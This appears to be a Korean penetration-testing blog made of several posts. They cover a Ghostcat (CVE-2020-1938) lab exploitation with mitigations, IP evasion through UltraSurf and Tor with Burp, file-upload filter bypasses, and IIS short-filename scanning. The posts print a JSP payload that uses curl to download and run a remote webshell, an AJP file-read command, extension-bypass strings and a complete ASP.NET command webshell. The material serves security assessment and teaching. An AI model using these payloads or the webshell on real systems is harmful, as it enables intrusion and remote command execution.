반응형
1. Ghostcat 취약점이란?

#1. 취약점 개요

1월 초, Chaitin Tech에서 톰캣 관련 취약점이 발견되었다고 발표하였습니다. Tomcat AJP 프로토콜의 결함으로 인해 발생한 해당 취약점은 Tomcat의 webapp 디렉토리 하위에 있는 임의의 파일 접근 및 읽을 수 있고, 서버에 파일 업로드 기능이 있는 경우 이를 악용하여 서버 사이드 스크립트 파일(jsp) 업로드 및 원격코드실행이 가능합니다.

 

#2. 취약점 원리

기본적으로 Tomcat은 8080 포트를 사용하는 HTTP Connector, 8009 포트를 사용하는 AJP Connector, 두 개의 커넥터로 구성되고 있습니다. HTTP 커넥터는 우리가 자주 사용하는 HTTP 웹 서비스를 제공하는데 사용되고 있으며, AJP 커넥터는 AJP(Apache Jserv Protocol) 프로토콜을 사용하는데 HTTP 프로토콜의 성능 최적화를 위해 사용됩니다. Tomcat은 AJP를 Apache HTTPD 웹서버나 다른 톰캣 인스턴스와 데이터를 교환하기 위해 사용합니다. 따라서, Tomcat에서 디폴트로 AJP 커넥터가 활성화되어 있고, 8009 포트로 열려있기 때문에 공격자는 AJP 버그를 이용해 서버 내 파일 읽기/쓰기(파일 업로드 허용하는 경우)가 가능합니다.

 

#3. 취약한 버전

- Apache Tomcat 9.0.30 포함한 이전 버전 < 9.0.31

- Apache Tomcat 8.5.50 포함한 이전 버전 < 8.5.51

- Apache Tomcat 7.0.99 포함한 이전 버전 < 7.0.100

- Apache Tomcat 6.x

(TMI : 해당 취약점이 발견되었을 때, 톰캣 9/8/7/6의 모든 버전에 영향을 미쳐 10년 이상 휴면 상태였기 때문에 Ghostcat이라고 명명했다고 합니다.)

 

2. 실습

#1. 실습 환경 구축

- Apache Tomcat 8.5.50 버전

- Windows 10 

 

Step 1) 취약한 톰캣 버전 다운로드

https://archive.apache.org/dist/tomcat/에서 취약한 버전의 톰캣 다운로드 합니다. 

bin 디렉토리 내 윈도우 환경은 zip, 리눅스 환경은 tar.gz 파일을 다운 받으시면 됩니다. 

 

Step 2) Tomcat 서버 구동

저는 실습을 위해 Apache Tomcat 8.5.50 버전을 다운로드 받았으며, bin 디렉토리 내에 있는 [startup.bat] 파일을 실행시켜 톰캣 서버를 구동합니다. http://[ip정보]:8080 으로 접근하니 Tomcat 서버가 성공적으로 작동하고 있음을 확인할 수 있습니다.

 

Step 3) 파일 업로드 기능 추가

로컬 PC에 Tomcat 서버를 구동시켰기 때문에 바로 파일을 업로드해도 되지만, 실제 진단환경과 비슷하게 하기 위해 간단한 파일업로드 기능을 하는 게시판을 추가시켰습니다.

 

fileupload.jsp 페이지에서 test.txt 파일을 업로드한 후 [UPLOAD] 버튼을 클릭하면

 

Upload Success 라는 메시지가 출력된 후

 

본인이 지정한 위치 저의 경우 Tomcat webapps/ROOT/file 디렉터리에 업로드 되는 것을 확인할 수 있습니다.

 

#2. 공격 실습

Step 1) POC 코드 / 공격 툴 다운로드

- XRAY 툴 : https://github.com/chaitin/xray/releases/tag/0.19.2
- POC : https://github.com/00theway/Ghostcat-CNVD-2020-10487

- POC : https://github.com/laolisafe/CVE-2020-1938
- POC : https://github.com/nibiwodong/CNVD-2020-10487-Tomcat-ajp-POC

 

Step 2) 공격 코드 테스트

저는 위 링크 중 두번째 코드를 이용해 실습을 진행하였습니다.

 

만약, 웹 상으로 웹 서버 설정파일인 web.xml에 접근 시도 시 위와 같이 에러가 발생합니다.

 

그러나, 아래와 같이 [python ajpShooter.py http://127.0.0.1 8009 /WEB-INF/web.xml read] 명령어를 이용해 webapps 디렉터리 하위에 존재하는 웹 설정파일을 읽을 수 있습니다.

Step 3) 공격 수행

업로드 기능을 이용해 URL 상에 있는 웹쉘을 다운로드 받아 실행시켜 보도록 하겠습니다.

(사실 위의 업로드 게시판은 확장자 필터링 기능이 없어 웹쉘을 바로 업로드할 수 있으나, 실제 진단 환경처럼 이미지나 텍스트 파일만 업로드 가능한 환경이라고 가정하였습니다.)

아래의 코드를 텍스트 파일로 저장하여 업로드합니다.

 

[<% Runtime.getRuntime().exec("cmd.exe /C curl -o ..\\webapps\\ROOT\\cmd.jsp https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp"); %>]

 

위는 서버에서 cmd를 이용해 cmd.jsp 파일을 다운로드하는 명령어입니다. 윈도우 환경이라 wget 명령어가 아닌 curl 명령어를 사용하였습니다.

 

read 명령어를 사용해 업로드한 파일 접근이 가능해 취약함을 판단하였고, eval 명령어를 통해 ghostcat.txt를 jsp로 실행하였습니다.

 

eval 명령어를 통해 URL 상의 cmd.jsp가 다운로드 되었고, 지정한 경로인 웹 루트에 저장되어 cmd.jsp 파일 생성 및 해당 페이지 내 cmd 기능을 통해 명령어 실행이 가능하였습니다. 

 

3. 대응방안

#1. Apache Tomcat 최신 버전 업데이트

- https://tomcat.apache.org

- https://github.com/apache/tomcat/releases

 

#2. 설정 파일 수정 후 톰캣 재기동

CASE1. AJP Connector service 사용하지 않는 경우

<CATALINA_BASE>/conf/server.xml 내

...

<!-- <Connector prot="8009" protocol="AJP/1.3" redirectPort="8443" /> --> //주석처리

...

 

CASE2. AJP Connector service 사용하는 경우

[최신 버전으로 업데이트 후]

<CATALINA_BASE>/conf/server.xml 내

...

<Connector prot="8009" protocol="AJP/1.3" redirectPort="8443" address="YOUR_TOMCAT_IP_ADDRESS" secret="YOUR_TOMCAT_AJP_SECRET" />

...

혹은

[최신 버전으로 업데이트 불가한 경우]

<CATALINA_BASE>/conf/server.xml 내

...

<Connector prot="8009" protocol="AJP/1.3" redirectPort="8443" address="YOUR_TOMCAT_IP_ADDRESS" requiredSecret="YOUR_TOMCAT_AJP_SECRET" />

...

 

4. 참고자료

- https://blog.alyac.co.kr/2772

- https://www.chaitin.cn/en/ghostcat?fbclid=IwAR1UWAw46jxHg5SbieNZ66-yACav853QlfcLLWIv_3jFJBvJEzvpSGFMFo4

- https://blog.naver.com/isc0304/221832618749

- https://www.dailysecu.com/news/articleView.html?idxno=106713

- https://github.com/00theway/Ghostcat-CNVD-2020-10487 // POC

반응형
반응형

모의해킹이나 취약점 진단 업무를 수행하다 보면 서버 측의 방화벽으로 인해 IP 주소가 차단되는 경우가 있습니다.

 

이러한 경우 지속적으로 IP 주소를 변경하는 작업이 필요한데요,

 

Ultra Surf 툴과 Tor Browser를 이용해서 IP 주소를 우회해보고, Proxy 설정까지 해보도록 하겠습니다.

 

우선, 제 컴퓨터의 IP 주소를 확인해보면

39.xx 이며 위치 또한 한국인 것을 알 수 있습니다.

 

방법 1. Ultra Surf

Step 1) Ultra Surf 툴 다운로드 및 실행

Ultra Surf 홈페이지 >> https://ultrasurf.us/ 왼쪽의 링크를 통해 들어가신 후 우측 상단의 Free Download를 클릭하면

"u.zip" 파일이 다운로드 됩니다.

Ultra Surf는 무설치 프로그램이기 때문에 "u.zip" 압축을 푸신 후 실행파일을 더블 클릭하는 것 만으로 실행시킬 수 있습니다.

 

Ultra Surf 프로그램을 실행하면, 자동으로 서버와 연결시켜 줍니다.

기본적으로 9666 포트 또한 Listen 하고 있는 상태입니다.

 

Step 2) 우회된 IP 주소 확인

단순히 Ultra Surf 파일을 실행하는 것 만으로 IP 주소가 변경된 것을 확인할 수 있습니다.

 

위와 같이 원래 저의 IP 39.xx(한국)이 아닌 미국 IP 주소로 변경되었습니다.

 

Step 3) Burp Suite Configuration Setting

Burp Suite 툴을 이용해 Proxy 서버를 통해 전송되는 패킷을 잡아보도록 하겠습니다.

[User option - Upstream Proxy Server - Add] 메뉴에 들어가서 아래와 같이 세팅합니다.

 

Step 4) Packet Intercept 확인

우회된 IP 주소를 이용해 전송되는 Request 와 Response가 정상적으로 잡히는 것을 확인할 수 있습니다.

 

방법 2. Tor Browser

Step 1) Tor Browser 다운로드 및 실행

Tor 홈페이지 >> https://www.torproject.org/download/ 왼쪽 링크로 들어간 후 윈도우 용 토르 브라우저를 다운로드 합니다.

 

다운로드 후 설치 진행하고 토르 브라우저를 실행시킵니다.

 

Step 2) 우회된 IP 주소 확인(Tor Browser)

Tor 또한 단순히 토르 브라우저를 사용하는 것 만으로도 IP 주소가 변경된 것을 확인할 수 있습니다.

 

원래의 제 컴퓨터 IP 39.xx(한국)이 아닌 미국 IP 주소로 변경되었습니다.

 

Step 3) Tor Configuration Setting

[메뉴 - options - Advanced] 에 들어가 토르의 Socks5 설정을 아래와 같이 세팅해줍니다.

 

Step 4) Burp Suite Configuration Setting

이번에는 Burp Suite 툴에서 설정 세팅을 진행합니다.

[User option - Socks Proxy] 메뉴에서 Use SOCKS proxy를 체크하고 아래와 같이 설정해줍니다.

Do DNS looksups over SOCKS proxy 또한 체크해줍니다.

 

 

Step 5) 우회된 IP 주소 확인(Chrome)

Socks 포트를 열어주면 이제 Chrome 등의 타 브라우저에서 IP 주소가 변경된 것을 확인할 수 있습니다.

Chrome 브라우저에서 IP 정보를 확인한 것입니다. 한국 IP 주소가 아닌 미국으로 변경되어 있습니다.

 

 

Step 6) Packet Intercept 확인

우회된 IP 주소를 이용해 전송되는 Request 와 Response가 정상적으로 잡히는 것을 확인할 수 있습니다.

 

※ 악용금지!!  

반응형

반응형

1. 개요


파일업로드 취약점 발견 시 파일 확장자 필터링을 하는 경우가 많은데, 이를 우회하는 방법(화이트리스트가 아닐 경우)을 정리한다.


2. 우회방법


#1. 대소문자 치환 ; .jsp → .Jsp / .jSp / .jsP / .JsP 등.....


#2. Null byte ; .jsp%00.jpg / .jsp%00(URL Encoding).jpg 등...


#3. 2중 파라미터 ; filename=test.jpg, filename=test.jsp


#4. MIME Type만 검증하는 경우 ; ContentType=image/jpeg 등...


#5. 실행가능한 타 확장자 ; .jsp → .jspx / .jsv / .jsw

IBM 서버인 경우, jsp외 jspx, jsv, jsw 확장자를 디폴트로 실행 가능하게 설정하고 있다고 합니다.

출처 >> https://www.ibm.com/support/knowledgecenter/ko/SSAW57_9.0.0/com.ibm.websphere.nd.multiplatform.doc/ae/rweb_jsp_staticfile.html


[jsv] Hello World 출력

--------------------------------------------------------------------------------------------------------------------------------------------------------------------

<% out.println("Hello World"); %> // jsp 문법과 같음

--------------------------------------------------------------------------------------------------------------------------------------------------------------------

--------------------------------------------------------------------------------------------------------------------------------------------------------------------

[jspx] Hello World 출력

--------------------------------------------------------------------------------------------------------------------------------------------------------------------

<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" xmlns="http://www.w3.org/1999/xhtml" xmlns:c="http"//java.sun.com/jsp/jstl/core" version="2.0">

<jsp:directive.page contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"/>

<jsp:directive.page import="java.util.*"/>

<jsp:directive.page import="java.io.*"/>

<jsp:directive.page import="sun.misc.BASE64Decoder"/>

<jsp:scriptlet><![CDATA[out.println("Hello World");]]>

</jsp:scriptlet>

</jsp:root> // jspx는 CDATA로 감싸줘야함

--------------------------------------------------------------------------------------------------------------------------------------------------------------------

[jspx] Hello World 출력2 // import 삭제

--------------------------------------------------------------------------------------------------------------------------------------------------------------------

<?xml version="1.0" encoding="UTF-8"?>

<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="2.0">

    <jsp:directive.page contentType="text/html" pageEncoding="UTF-8"/>

    <jsp:scriptlet>

        out.println("Hello World!!");

    </jsp:scriptlet>

</jsp:root>


3. 대응방안


#1. 화이트리스트 ; 허용된 확장자 파일만 업로드 가능하도록 함.


#2. 업로드경로 ; 업로드 디렉터리를 웹루트 이외로 설정. 혹은 웹루트 하위의 서버 사이드 스크립트 실행 권한 제거


#3. 랜덤 파일명 ; 업로드된 파일명을 난수화하여 유추 불가능하도록 한다.

반응형
반응형

1. Hello World! 출력


<!DOCTYPE html>
<html>
<body>

<%response.write("Hello World!")%>

</body>

</html>


2. 구구단 출력


<%

response.write "<table border='1'><tr>"

 

 for i = 1 to 9


 response.write "<td>"

  

  for j = 1 to 9

   response.write  i & "*" & j & " = " & i * j & "&nbsp;<br>"

  next

  

  

  If i = 3 or i = 6 then

   response.write "</td><tr>"

  Else

   response.write "</td>"

  end if

 

 next

  

  response.write "</tr></table>"

%>


3. 서버 정보 


<HTML>

<BODY>

<TABLE>

<% for each key in Request.ServerVariables %>

<TR>

<TD><%=key %></TD>

<TD>

<%

if Request.ServerVariables(key) = "" Then

Response.Write " "

else

Response.Write Request.ServerVariables(key)

end if

%>

</TD>

</TR>

<% Next %>

</TABLE>

</BODY>

</HTML>


4. CMD Webshell (악용금지!!)


   <%@ Page Language="VB" Debug="true" %>

   <%@ import Namespace="system.IO" %>

   <%@ import Namespace="System.Diagnostics" %>

   

   <script runat="server">      

   Sub RunCmd(Src As Object, E As EventArgs)            

     Dim myProcess As New Process()            

     Dim myProcessStartInfo As New ProcessStartInfo(xpath.text)            

     myProcessStartInfo.UseShellExecute = false            

     myProcessStartInfo.RedirectStandardOutput = true            

     myProcess.StartInfo = myProcessStartInfo            

     myProcessStartInfo.Arguments=xcmd.text            

     myProcess.Start()            

     Dim myStreamReader As StreamReader = myProcess.StandardOutput            

     Dim myString As String = myStreamReader.Readtoend()            

     myProcess.Close()            

     mystring=replace(mystring,"<","&lt;")            

     mystring=replace(mystring,">","&gt;")            

     result.text= vbcrlf & "<pre>" & mystring & "</pre>"    

   End Sub

   </script>

   

   <html>

   <body>    

   <form runat="server">        

   <p><asp:Label id="L_p" runat="server" width="80px">Program</asp:Label>        

   <asp:TextBox id="xpath" runat="server" Width="300px">c:\windows\system32\cmd.exe</asp:TextBox>        

   <p><asp:Label id="L_a" runat="server" width="80px">Arguments</asp:Label>        

   <asp:TextBox id="xcmd" runat="server" Width="300px" Text="/c net user">/c net user</asp:TextBox>        

   <p><asp:Button id="Button" onclick="runcmd" runat="server" Width="100px" Text="Run"></asp:Button>        

   <p><asp:Label id="result" runat="server"></asp:Label>       

   </form>

   </body>

   </html>


반응형
반응형

1. 개요


일부 IIS 서버에서 MS-DOS와의 호환을 위해 Short-FileName(SFN)을 사용 / 8.3 File Name 규칙을 허용한 경우 발생하는 취약점이다.


지금까지 IIS 하위 버전(7이하)에서만 발견되는줄 알았으나, 8.3 File Name을 지원하는 경우 Microsoft IIS/8.5 버전에서도 취약했다.


하지만, Microsoft IIS/8.5 버전에서는 파일  및 디렉토리의 존재 유무에 따른 응답값이 다른 것을 웹 사이트 상으로 확인이 불가하였다.

(DEBUG 메소드를 사용하기 때문인 듯...)


즉, 툴을 사용해서 틸드문자 취약성을 판단해야 한다.



2. 툴 다운로드 및 사용법


툴 다운로드 링크 >> https://github.com/irsdl/iis-shortname-scanner/


위 링크에서 툴을 다운로드 한 후, 압축을 풀면 run.bat 배치파일로 실행 가능하며, cmd 창에서 iis_shortname_scanner.jar 실행으로도 가능하다.



>> 타겟 URL을 지정할 때는 폴더까지 지정해주는 것이 좋다.

>> 쓰레드 수는 최대한 낮게 설정해주는 것이 서버 부하를 줄일 수 있다(0도 가능)



결과를 보면, 해당 URL/폴더/ 하위에는 default.asp, modify.asp, view.asp, write.asp 등의 파일이 존재한다는 것이 유추 가능하다.


3. 대응방안


[ 8.3 File Name 비활성화 ] (8 버전 이상의 서버에서는 유일한 대응방법..인듯)


1. 레지스트리 편집기에서 HKLM/SYSTEM/CurrentControlSet/Control/FileSystem 내 NtfsDisable8dot3NameCreation 값을 1로 설정


2. 기존에 생성되어 있는 파일의 8.3 FileName 비활성화

1. 현재 디렉토리를 복사한 후 디렉토리 명을 New(예시임)로 지정한다. 

2. 현재 디렉토리의 디렉토리 명을 Old로 지정한다. 

3. New디렉토리 명을 원래 파일명으로 지정한다.


4. 참고 사이트


http://laughfool.tistory.com/32

https://github.com/irsdl/iis-shortname-scanner/

반응형

+ Recent posts

반응형
반응형